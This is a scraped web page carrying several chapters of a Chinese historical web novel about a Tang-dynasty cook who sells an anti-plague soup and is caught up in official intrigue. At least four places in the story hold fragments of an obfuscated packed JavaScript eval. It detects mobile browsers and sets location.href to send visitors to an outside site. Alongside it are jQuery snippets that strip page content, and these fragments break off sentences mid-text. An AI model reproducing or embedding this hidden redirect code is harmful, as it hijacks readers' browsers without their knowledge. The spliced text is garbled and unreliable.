那胥吏头目将信将疑，凑到锅边闻了闻，确实闻到一股浓郁的混合药香，其中似乎还夹杂着一丝令人头脑清明的异香，与他往日闻过的任何汤药都不同。 “西域奇香？”他皱紧眉头，“可有凭据？若无效甚至有害，你可知是何罪过？” “民女愿以性命担保！” 沈知意斩钉截铁，“官人若不信，可先尝一碗！若无不适，再容民女售卖，如何？” 她这是在赌，赌这胥吏不敢轻易尝试，赌他会将“西域奇香”之事上报！ 那胥吏果然犹豫了。 盯着那锅热气腾腾的汤，又看看沈知意异常坚定的眼神，沉吟片刻，对身后一个手下道： “你去，禀报王录事，就说西市沈记食肆熬制避疫汤，声称用了西域奇方，请他定夺。” 手下应声而去。 等待的时间变得无比漫长。 围观的百姓越来越多，却无人敢买，都在观望。 沈知意手心全是冷汗，面上却不敢露出分毫。 终于，那名胥吏去而复返，身后跟着的，竟是面色阴沉眼神闪烁的王录事！ 王录事一到，目光便如毒蛇般盯住沈知意和那锅汤，冷笑道：“沈小娘子，又是你！上次是霉米脏水，这次又弄出什么西域奇方？你真当市署是摆设不成？！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543087|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈知意心中咯噔一下，知道这王录事定是受了虎爷或张胖子指使前来刁难。 她深吸一口气，不卑不亢道：“王录事，民女不敢。此汤确是古方，只为助街坊防疫，绝无他意。” “古方？我看是妖言惑众！”王录事厉声道，“来人！把这锅惑乱人心的东西给我砸了！将这妖言惑众的沈氏拿下！” 几名胥役应声上前，就要动手。 围观的百姓发出一阵惊呼，纷纷后退。 沈知意脸色一白，心瞬间沉到谷底。 她千算万算，没算到王录事竟会直接动手。 就在此刻，一个清冷沉稳的声音骤然响起： “住手！” 只见苏晏清不知何时已站在人群之外，一袭青袍，面色冷峻，目光如电般射向王录事。 “王录事，好大的官威啊。官府张贴告示，征召善药膳者研制避疫汤药，沈小娘子有心出力，何错之有？你不同青红皂白便要砸锅拿人，莫非是想阻挠防疫大事？” 王录事见到苏晏清，脸色顿时一变，气势矮了半截，支吾道：“苏、苏录事……卑职、卑职是怕她胡乱用药，害了百姓……” “是否胡乱用药，验过便知。” 苏晏清踱步上前，目光扫过那锅汤，鼻翼微不可察地动了动，眼中闪过一丝极快的异色。 他转向沈知意，语气平和却带着不容置疑的威严，“沈小娘子，你这‘辟疫羹’，所用西域奇香，是何物？” 沈知意心中狂跳，知道关键时刻到了！ 她稳住心神，垂首道：“回苏录事，乃是一位西域故人所赠，名曰‘迦梵悉泥’，据言生于极寒雪山，能克阴寒瘴毒。民女见近日流言可畏，故斗胆以此香入汤，熬制此羹，或可助街坊抵御邪气。” “迦梵悉泥……” 苏晏清缓缓重复了一遍这个名字，目光深邃地看了她一眼，点了点头。 “既是西域避瘴良物，或有奇效。王录事，既是为防疫出力，便让沈小娘子试售。你派人在此盯着，若有不适者，即刻报我。若无异常，便准其售卖，以安民心。” 王录事脸色青白交加，却不敢违逆苏晏清，只得咬牙应道：“是……卑职遵命。” 苏晏清又对周围百姓道：“诸位乡邻，防疫大事，需谨慎，亦需同心。此汤既经市署查验，诸位可酌情取用，若有不适，即刻报官。” 说罢，他深深看了沈知意一眼，转身离去。 有了苏晏清这番话，现场紧张的气氛顿时缓和下来。 百姓们见市署录事都发话了，疑虑大消，立刻蜂拥而上。 “给我来一碗！” “我也要！” “快快！给我家孩子也盛一碗！” 五文一碗的“辟疫羹”瞬间被抢购一空。 福伯和邹娘子忙得脚不沾蹄，收钱收到手软。那锅加了“迦梵悉泥”的汤水，不过片刻便见了底。 王录事铁青着脸带着胥役悻悻而去，临走前狠狠瞪了沈知意一眼。 沈知意顾不得后怕，立刻让福伯再熬第二锅、第三锅……依旧每锅只加入极其微量的“迦梵悉泥”。 消息很快传开，不断有惊恐的百姓闻讯赶来，争相购买“辟疫羹”，食肆门口排起了长队，竟比往日最热闹时还要拥挤？ 直到日落时分，准备的药材耗尽，人群才渐渐散去。 打烊之后，食肆内一片狼藉，锅灶皆空，钱匣却史无前例地沉重。 福伯和邹娘子累得几乎虚脱，脸上却带着劫后余生的喜悦和难以置信的兴奋。 “六娘！咱们、咱们今日竟卖了这么多！”福伯声音还在发颤，捧着沉甸甸的钱匣，老泪纵横，“这、这真是……” 邹娘子也激动得说不出话，只是不住地点头。 沈知意却毫无喜色，她疲惫地靠在灶台边。 今日之事，险到了极致，她是在万丈深渊上走钢丝，若非苏晏清及时出现，后果不堪设想。 她握紧了怀中那个已经空了大半的小瓷瓶，目光投向窗外沉沉的夜色。 39. 第39章 “辟疫羹”引发的狂潮，直到夜幕彻底笼罩长安城才渐渐平息。 沈记食肆内，锅灶皆空，药材耗尽，只余下满室混杂着药香与那丝奇异辛烈的余味，以及一只沉甸甸的几乎快要合不上盖的钱匣。 福伯和邹娘子累得瘫坐在凳子上，脸上交织着疲惫、后怕与难以置信的狂喜。 一日之内，近乎抢购的售卖收入竟远超往日数日之和！ 沈知意却毫无喜色。 她靠在冰冷的灶台边，脸色苍白，指尖冰凉。 身体的疲惫远不及心中的惊涛骇浪。 今日之事，看似大获成功，实则险到了极致。 她是在拿所有人的性命做赌注！ 赌那“迦梵悉泥”有效无毒，赌苏晏清会及时出现，赌百姓会盲目跟从…… 所幸，她赌赢了第一步。 她握紧了怀中那个已经空了大半的“迦梵悉泥”小瓷瓶，心中没有丝毫轻松，只有更深的沉重与警惕。 这香料是她手中唯一的也是最大的筹码。 “福伯，将今日所得，分出三成……不，五成，用厚布包好。” 沈知意忽然开口，声音因疲惫而沙哑。 “五成？”福伯一愣，“六娘，这是要……” “以备不时之需。” 沈知意目光扫过门窗，“近日恐不太平，多备些银钱，总无坏处。余下的，仔细收好，明日多购些药材米面，尤其是姜、苏、甘草、绿豆，有多少收多少！” 福伯和邹娘子闻言，脸上的喜色瞬间褪去，重新被忧虑取代。他们明白，六娘并非杞人忧天。 这一夜，沈知意几乎未曾合眼。 她反复推敲着白日的一切细节，苏晏清的出现绝非偶然，他那句“迦梵悉泥”更是直接点破了香料的名称与用途。 他是在借她之手，将这克制毒物的东西公之于众？他究竟在布什么局？虎爷背后的势力又到底有多庞大？ 次日清晨，天色灰蒙蒙的，依旧飘着细雪。 食肆刚卸下门板，便有零星的百姓探头探脑地过来，询问是否还有“辟疫羹”。 沈知意让福伯挂出牌子：“‘辟疫羹’每日巳时开售，限量供应，售完即止。” 她需要控制节奏，既维持这“辟疫羹”的稀缺和影响力，又不能过度刺激暗中窥伺的敌人，更要为自己争取时间，摸清苏晏清的意图和虎爷的底细。 午时刚过，食肆内坐满了喝羹的客人，街道上忽然传来一阵喧嚣。 只见张胖子领着几个歪戴帽子、斜瞪眼的帮闲，大摇大摆地走了过来，身后还跟着两个穿着市署号衣、却面生的胥吏。 “让开！让开！市署查案！” 张胖子狐假虎威地推开门口排队的百姓，径直闯进店内，三角眼扫过坐满的食客和忙碌的灶台，脸上露出嫉恨交加的狞笑。 “沈小娘子，生意兴隆啊！” 他阴阳怪气地开口，“听说你弄出了什么能防恶疾的神汤？哼哼，真是了不得！可惜啊……” 他话音一转，语气陡然尖厉，“有人向市署举告！说你这汤里加了不干净的东西，喝了上吐下泻！这两位官爷，特来查验！识相的，赶紧把方子交出来，让官爷看看，到底是不是害人的毒药！” 那两名面生的胥役立刻上前，一副就要动手搜查的架势。 店内食客顿时哗然，纷纷放下碗筷，面露惊疑。 福伯和邹娘子吓得脸色发白，不知所措。 沈知意心中怒火翻腾，却知此刻绝不能硬抗。张胖子这分明是诬告构陷，想强行夺取方子，甚至借此彻底搞垮她！ 她正要开口周旋，店外忽然传来一个清朗沉稳的声音：“何人喧哗？市署办案，何时需闲杂人等指手画脚了？” 众人循声望去，只见苏晏清不知何时已站在店外，一袭青袍，神色淡漠，目光如电，扫过张胖子和那两名胥役。 那两名胥役见到苏晏清，顿时脸色一变，慌忙躬身行礼：“苏、苏录事！” 张胖子也是吓了一跳，胖脸上挤出谄媚的笑：“苏、苏录事您怎么来了？小的、小的也是协助官爷办案……” “办案？”苏晏清踱步进来，看也不看张胖子，直接对那两名胥役道，“你二人是哪个房的？查验‘辟疫羹’乃王录事亲自督办，本官亦有耳闻，何时需你二人越权插手？还是说……有人假传指令，借机生事？” 他语气平淡，却带着一股不容置疑的威严。 两名胥役冷汗直冒，支吾道：“卑职……卑职……” “既无明确指令，便退下。” 苏晏清淡淡道，“‘辟疫羹’之事，本官自有分寸。若再有宵小借机滋扰，扰乱防疫大事，严惩不贷！” “是！是！卑职告退！”两名胥役如蒙大赦，狼狈地挤开人群溜走了。 张胖子见状，脸色青白交加，也不敢再多言，灰溜溜地带着帮闲跑了。 苏晏清这才转向店内惊魂未定的食客，温声道：“诸位乡邻不必惊慌，‘辟疫羹’乃经市署查验，为防疫出力，安心饮用便是。” 他又对沈知意微微颔首，“沈小娘子，用心熬制，若有难处，可来寻我。” 说罢，便转身离去，仿佛真的只是恰巧路过。 食客们见状，这才放下心来，纷纷重新坐回座位。 沈知意心中却波澜再起。 苏晏清又一次及时出现绝非巧合。 他是在暗中维护她，维护这“辟疫羹”，他需要这汤羹继续存在，继续发挥影响力，他到底想用这“迦梵悉泥”做什么？ 接下来的两日，果然不断有地痞流氓或面生的胥役前来滋扰，试图找茬或强索方子，但每每总会被“恰巧”路过的苏晏清或其手下吏员化解。 沈记食肆的“辟疫羹”在一种诡异的平衡中，每日限量售出，名声反而越传越广，甚至有其他坊市的百姓慕名而来。 沈知意心中了然，苏晏清是在借她的食肆和“辟疫羹”，与虎爷背后的势力进行一场无声的较量。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568707|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而她以及那“迦梵悉泥”，成了这场较量中关键的棋子。 这日打烊后，沈知意正在清算账目，那位青衣小童再次悄然而至，递上一张折叠的纸条，低声道：“公子吩咐，交予小娘子。” 沈知意心中一动，接过纸条，待小童离去后，才小心展开。 纸上只有一行瘦劲的字：“今夜子时，后院角门。” 没有署名，没有缘由。 但沈知意瞬间明白，这是苏晏清要与她私下会面。 他终于要摊牌了吗？ 子时，寒风凛冽，万籁俱寂。 沈知意深吸一口气，紧了紧衣襟，悄无声息地打开食肆后院那扇不起眼的角门。 门外阴影中，果然站着一个人影，披着深色斗篷，身形挺拔，正是苏晏清。 他并未带随从。 “苏录事。” 沈知意敛衽一礼，心中紧张万分。 苏晏清微微颔首，目光在黑暗中依旧锐利：“‘迦梵悉泥’……你手中还有多少？” 沈知意心中一凛，如实道：“民女所得本就不多，连日使用，已耗去大半。” 苏晏清沉默片刻，低声道：“东市之事，远比你所知凶险。虎爷不过台前走狗，其后牵扯甚广，乃至宫闱。” 他声音压得极低，却字字惊心，“彼等所谋，非止财货，乃以此毒控制人心，图谋不轨。‘迦梵悉泥’乃克制此毒唯一已知之物，至关重要。” 沈知意倒吸一口凉气，心脏狂跳！ 宫闱？图谋不轨？这竟牵扯到如此惊天阴谋？！ “本官需你继续熬制‘辟疫羹’，并非仅为防疫安民，更是要借此，将‘迦梵悉泥’之力，悄无声息散于市井，以备不时之需，打乱对方部署。” 苏晏清目光灼灼地看着她，“然你此处，已成众矢之的，危机四伏。本官会尽力周旋护你周全，但你亦需万分谨慎，尤其保管好剩余香料，绝不可落入对方之手。” 原来如此… 苏晏清竟是要用这“辟疫羹”，在长安城中布下一道无形的解毒屏障，同时以此牵制对手。 “民女……明白。” 沈知意声音微颤，却异常坚定。 她已无退路。 “很好。” 苏晏清颔首，从袖中取出一个小巧的、似乎以某种兽骨制成的哨子，递给她。 “此哨音特殊，遇真正危急时吹响，附近必有回应。切记，非生死关头，不可轻用。” 他又取出一小锭黄金，“购置药材，不必吝啬。” 沈知意接过骨哨和黄金，只觉重如千钧。 “多谢苏录事。” 苏晏清不再多言，深深看了她一眼，转身融入夜色。 沈知意站在冰冷的夜风中，握着那冰冷的骨哨和微温的金锭，看着苏晏清消失的方向，心中充满了前所未有的震撼与决绝。 风暴已至，她已不再是旁观者。 这小小的食肆，已然成了风暴眼中的一叶扁舟。 40. 第40章 次日，“辟疫羹”依旧在一种诡异的平静中限量售出。闻讯而来的百姓依旧不少，队伍排得老长。 福伯和邹娘子经过前几日的惊吓，已有些麻木，只是埋头做事，眼神中却总带着一丝挥之不去的惊惶。 沈知意更是打醒十二分精神，对每一位顾客都仔细观察，对每一锅汤羹都亲自查验，尤其那“迦梵悉泥”的用量，精确到了发丝般细微，生怕出一丝差错。 这日午后，食客渐稀。 沈知意正低头核算着账目，忽听店外传来一阵嚣张的呼喝和马蹄声，由远及近，竟直冲食肆而来。 “闪开！都闪开！” “官府拿人！闲杂回避！” 只见七八个骑着高头大马、穿着市署号衣却面目凶悍的胥吏，簇拥着一辆青篷马车，蛮横地冲开街道上的人群，猛地停在了沈记食肆门口。 马蹄践踏起一片雪泥，吓得周围百姓纷纷惊叫避让。 马车帘掀开，下来的竟不是王录事，而是一个穿着深青色官袍，面色冷峻、眼神锐利的中年官员。 其身后跟着的，正是脸色阴沉嘴角带着一丝狞笑的王录事。 那中年官员目光如电，扫过食肆招牌和店内惊惶的食客，最后落在闻声出来的沈知意身上，声音冰冷，不带一丝感情。 “你就是沈记店主沈氏？” 沈知意心中警铃大作，强自镇定地上前行礼：“民女沈氏，见过官人。不知官人大驾光临，有何见教？” “见教？” 那官员冷哼一声，从袖中抽出一卷公文，刷地展开。 “本官乃京兆府法曹参军！接密报，你店中所售‘辟疫羹’，涉嫌使用不明毒物，致多人上吐下泻，病情加重！更有甚者，疑与你店近日接触之东市命案有关！现奉府尹之命，查封店铺，拘押店主，彻查方药来源及所有涉案人等！来人！拿下！” 他话音未落，身后如狼似虎的胥役便一拥而上就要动手拿人 “官人明鉴！冤枉！”沈知意脸色煞白，急声辩驳，“民女‘辟疫羹’所用皆寻常药材，绝无……” “闭嘴！”那法曹参军厉声打断，“有无冤屈，回衙再说！搜！将所有药材、账簿、可疑之物，全部查封带走！” 胥役们立刻冲入店内，翻箱倒柜，吓得福伯和邹娘子尖叫哭喊，阿宝更是吓得哇哇大哭。 店内仅剩的几名食客也吓得抱头鼠窜。 “官人！此事苏录事皆知！汤药经市署查验……” 沈知意试图抬出苏晏清。 “苏晏清？” 法曹参军嘴角扯起一抹冷笑，“他如今自身难保！有人举告他勾结奸商，滥用职权，庇护嫌犯！府尹已命其停职待参！今日，谁也保不了你！” 苏录事被停职了？！ 沈知意如遭雷击，浑身血液瞬间冰凉。 对方动手了，而且如此狠辣迅捷，直接扳倒了苏晏清这面护身符。 完了！彻底完了！ 就在胥役的手即将抓住沈知意胳膊的千钧一发之际，街口忽然传来一阵急促却整齐的脚步声。 只见一队约莫二十人、身着禁军服饰、腰佩横刀的军士，在一个身着浅绯色官袍、面容儒雅却目光沉静的中年官员带领下，快步而来，瞬间将市署胥役和马车团团围住。 那法曹参军和王录事脸色骤变！ “住手！” 那绯袍官员声音不高，却带着一股不容置疑的威严。 “京兆府拿人，何时需劳动金吾卫了？法曹参军，你越权了！” 法曹参军脸色青白交加，强自镇定道：“崔侍郎！下官奉府尹之命，查办要案！此店涉嫌以毒药惑众，牵连命案……” “要案？” 崔侍郎淡淡打断，“本官亦奉上谕，督察京畿疫病防治事。此店‘辟疫羹’乃防疫所需，方药经太医署初步查验，确有避瘴之效，何来毒药之说？至于命案牵连，可有实证？若无实证，便以密报拿人，查封店铺，扰乱防疫，尔等该当何罪？！” 他每问一句，法曹参军和王录事的脸色便白一分。 他们显然没料到，竟会有刑部高官和金吾卫突然介入！ “这……下官……” 法曹参军冷汗直冒，支吾难言。 崔侍郎不再看他，目光转向惊魂未定的沈知意，语气缓和了些。 “沈小娘子受惊了。防疫期间，安心经营，若有宵小借机滋扰，可报金吾卫或京兆府实曹，自有法度，勿需惊惶。” 他这话，既是安抚，更是警告。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568708|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说罢，他不再理会面如死灰的法曹参军和王录事，对金吾卫带队校尉微微颔首：“留下两队人马，于此间巡护，直至疫平。” “是！”校尉抱拳领命。 崔侍郎这才转身，拂袖而去。 金吾卫军士立刻分列食肆左右，持刀肃立，目光冷冽地扫视着周围。 那队市署胥役和法曹参军、王录事等人，在军士冰冷的注视下，如同丧家之犬灰溜溜地爬上马车，狼狈离去。 一场泼天大祸在瞬息之间消弭于无形。 食肆内外，一片死寂。 福伯和邹娘子瘫坐在地，如同虚脱。沈知意扶着门框指尖颤抖。 她看着门口肃立的金吾卫，心中满是后怕。 崔侍郎？上谕？金吾卫？苏晏清被停职，却来了更大的官和禁军？这……这究竟是…… 她猛地想起苏晏清那夜的话，“彼等所谋，非止财货……乃至宫闱……” 难道……这已不仅仅是市井争斗，而是朝堂之上的博弈？ 苏晏清早已料到对方会反扑，甚至这或许本就是他与那位崔侍郎布下的局？ 以自身停职为饵，引蛇出洞，再由更高层面雷霆一击？！ 这个念头让她不寒而栗，却又隐隐看到了一丝绝处逢生的希望。 然而这希望的光芒尚未持续多久，傍晚时分，阿努便如同受惊的兔子般，再次慌慌张张地跑来，将她拉到后院，碧眼中满是前所未有的恐惧。 “六娘！不好了！真、真的出大事了！” 她声音发颤，几乎语无伦次。 “我、我阿塔刚从东市那边打听来的……说、说虎爷他们……他们好像发现汤里的东西不对劲了！正在、正在疯狂追查一种红色香料的来源！还、还抓了几个胡商严刑拷打！说、说要是找到是谁坏了他们的好事，就要、就要灭其满门！六娘！他们、他们是不是发现你了？！那、那香料……” 沈知意只觉得一股寒气瞬间从头顶灌到脚底，手脚冰凉。 灭其满门！ 这四个字如同冰锥狠狠刺入她的心脏。 她下意识地按住怀中那个只剩少许粉末的小瓷瓶，只觉得它此刻重如千斤烫如烙铁。 夜色，如同噬人的巨兽，悄然笼罩了下来。 41. 第41章 福伯和邹娘子脸上的劫后余生瞬间化为惨白的恐惧，连门口肃立的金吾卫那冰冷的甲胄，似乎也无法再带来丝毫安全感。 沈知意背靠着冰冷的灶台，指甲深深掐入掌心，强迫自己从那灭顶的恐惧中挣脱出来。 不能慌！此刻绝不能慌！ 金吾卫还在门外，对方暂时不敢明着动手，但暗地里的追查和报复，随时可能到来。 “迦梵悉泥”……这名字绝不能再从任何人口中说出。剩余的香料必须立刻转移，藏到更隐秘的地方。还有所有可能与此相关的痕迹——研磨的器具、盛放的瓶罐、甚至沾染了气味的布料，都必须彻底清理。 “福伯！邹娘子！” 她声音因紧绷而嘶哑，却带着不容置疑的决绝，“立刻将后院那口废弃不用的腌菜缸挪开，把底下那块松动的砖撬起来！快！” 福伯和邹娘子虽不明所以，但见她神色前所未有的凝重，不敢多问，连忙照做。 沈知意则快速回到自己狭小的卧房，从床底拖出那个藏匿香料的小木匣，将剩余的所有“迦梵悉泥”粉末，连同那个小瓷瓶，用油纸和蜡层层密封，又塞入一个更小的铁盒中。 当地捧着铁盒来到后院时，福伯已撬开了那块砖，底下是一个不大的浅坑。 沈知意将铁盒小心翼翼放入，覆土掩埋，又将砖块原样盖好，撒上灰尘，最后将沉重的腌菜缸挪回原处。 “今日之事，对任何人都不得提起！包括阿努！” 她盯着福伯和邹娘子，眼神锐利如刀，“有人问起香料，便说是西域胡商处买的寻常孜然粉，早已用完！记住了吗？！” “记、记住了！” 两人吓得连连点头，脸色惨白。 处理完最致命的隐患，沈知意略松了口气，但心中的巨石并未落下。 虎爷既然已经开始疯狂追查，绝不会轻易罢手。 金吾卫的庇护能挡明枪，却难防暗箭。 食肆必须维持营业，但不能再用“辟疫羹”吸引注意，必须立刻推出新的与香料无关的吃食，转移视线，稳住局面。 时已近夏，天气渐热。 连日来的恐慌和“辟疫羹”的药味，也让不少食客心生腻烦。 需得一道清爽开胃、制作快捷、且与往日风格迥异的新品。 她的目光掠过院中晾晒的面粉，脑中灵光一闪——冷淘面！ 唐代已有冷淘面，多为夏季消暑食用。 但寻常冷淘多为过水凉面，辅以简单酱醋，略显单调。她需做得更精致、更诱人，方能迅速打开局面。 “福伯，立刻去市集，买最新鲜的黄瓜、胡瓜、鸡蛋、还有上好的芝麻！要快！” “邹娘子，烧水，和面，要最细的银丝面！” 吩咐下去，沈知意立刻动手。 取新磨的白面，加入少许盐和鸡蛋清，细细揉搓，反复擀压，切成细如发丝的银丝面。 锅中水沸，下面条快速煮熟，立刻捞出，并非浸入冷水，而是摊在刷了薄油的竹匾上，置于通风处，借风力迅速吹凉吹干，使其口感爽利劲道，却不至冰牙伤胃。 另取小锅，小火焙香白芝麻，研磨成细腻的芝麻酱，加入清酱、少许饴糖、精心滤清的米醋、姜汁、蒜泥，调成咸香微甜、醇厚开胃的麻酱汁。再将黄瓜、胡瓜切成极细的丝，摊薄鸡蛋皮同样切丝。 最后，将吹凉的银丝面盛入浅碗，浇上浓稠的麻酱汁，铺上青翠的瓜丝和金黄的蛋皮丝，再撒上焙香的芝麻粒和芫荽末。 一碗色泽清新、香气扑鼻的“麻酱冷淘”便成了。面条爽滑，酱汁香浓，瓜丝清脆，在这渐热的天气里，看着便令人食指大动。 “新荐‘麻酱冷淘’，二十文一碗，清暑开胃！” 新的食牌迅速挂出。 金吾卫依旧守在门口，肃杀的气氛尚未完全散去，但这碗清爽新奇的面食一推出，立刻吸引了那些惊魂未定却又腹中饥饿的食客。 尤其是那香浓的麻酱气息，与往日药香截然不同，勾人食欲。 “咦？这面看着清爽！” “麻酱？倒是新奇，来一碗尝尝！” “唔！好吃！酱香浓郁，面条筋道，爽口！” 很快，“麻酱冷淘”便受到了欢迎，虽不及“辟疫羹”那般抢购，却也稳住了店内的客流，带来了新的进项。 更重要的是，它成功地将众人的注意力从“辟疫羹”和那敏感的香料上转移开来。 沈知意稍稍松了口气，但警惕丝毫未放松。 她时刻留意着店外动静，尤其是那些看似寻常的陌生面孔。 接连两日，食肆在一种外松内紧的气氛中度过。 “麻酱冷淘”销量不错，再搭配一些简单的汤饼小菜，收入尚可。 金吾卫每日轮换值守，依旧肃立门前，震慑着宵小。再未见市署的人前来骚扰。 然而，沈知意心中的不安却越来越浓。 虎爷那边绝不可能就此罢手，明的不行，暗地里的手段只会更加阴毒。 他们到底在等什么？ 这日傍晚，打烊时分，一位看着眼生的老妪挎着篮子，颤巍巍地来到店前，说要买两个胡麻饼带给孙儿。 邹娘子见是老人，未多想，便用油纸包了饼递过去。 那老妪接过饼，却并未立刻离开，而是凑近些，压低声音，飞快地对邹娘子说了一句：“娘子小心……这两日……井水……” 话音未落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568709|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，便像是害怕什么似的，匆匆低头走了。 邹娘子愣了一下，觉得有些奇怪，却也没太在意，转身回了店里。 又过了一日，午市刚过，一个货郎打扮的汉子在食肆门口歇脚，买了一碗冷淘面吃，吃完后却对着福伯感慨道：“老丈，你们这店生意真好，就是……唉，这西市好几口井近日都不太清净，漂着油花，你们用水可得当心点啊……” 福伯闻言，心里咯噔一下，连忙追问：“哪口井？怎么回事？” 那货郎却摇摇头：“说不清，反正你们自己留神吧。” 说完便挑起担子走了。 接连两次看似无意的提醒，终于引起了沈知意的警觉。 井水？她立刻想起之前张胖子派人投毒菘菜的事。 对方莫非又想在水源上动手脚？！ 她立刻让福伯和邹娘子将店内所有水缸、水桶的水全部倒掉，仔细清洗，又亲自盯着他们去更远的、相熟浆饮铺的阿婆家院中那口公认水质好的甜水井打水。 打回来的水，她甚至舀出一碗，仔细观察，又让邹娘子养在后院的两只鸡先试饮，确认无恙后才敢使用。 如此折腾，虽确保了用水安全，却也弄得人心惶惶，精疲力竭。 对方的手段，果然变得更加阴险难防。 他们是在用这种无处不在的暗示和骚扰，持续施加压力，折磨他们的神经，寻找可乘之机！ 必须想办法破局！不能一直这样被动挨打！ 沈知意目光再次落在那藏匿香料的腌菜缸上，心中一个念头冒出。 苏晏清被停职前，暗示这“迦梵悉泥”是克制毒物的关键。 如今对方疯狂追查此物，说明它确实击中了他们的要害。 或许她可以反过来，利用这香料，设下一个陷阱？ 这个想法极其冒险，但眼下困局重重，似乎已别无他法。 就在她心念急转之际，店外忽然传来一阵急促的马蹄声和喧哗。 只见一队金吾卫骑兵疾驰而来，为首的校尉勒马停在校尉面前，快速低语了几句。 守门的校尉脸色微变，立刻招手，竟带着大部分金吾卫兵士，匆匆上马，朝着东市方向疾驰而去。 食肆门口，只留下了两名金吾卫兵士。 几乎就在金吾卫大队人马离开的同时，对街张记蒸饼铺那扇许久未开的门板，吱呀一声，被人从里面推开了。 张胖子那张肥腻的脸上，带着毫不掩饰的得意的笑容，正隔着街道，遥遥地望了过来。 沈知意的心瞬间沉到了谷底。 调虎离山。 他们的目标从来就不是井水，而是金吾卫，他们终于等到金吾卫主力被调走的机会了。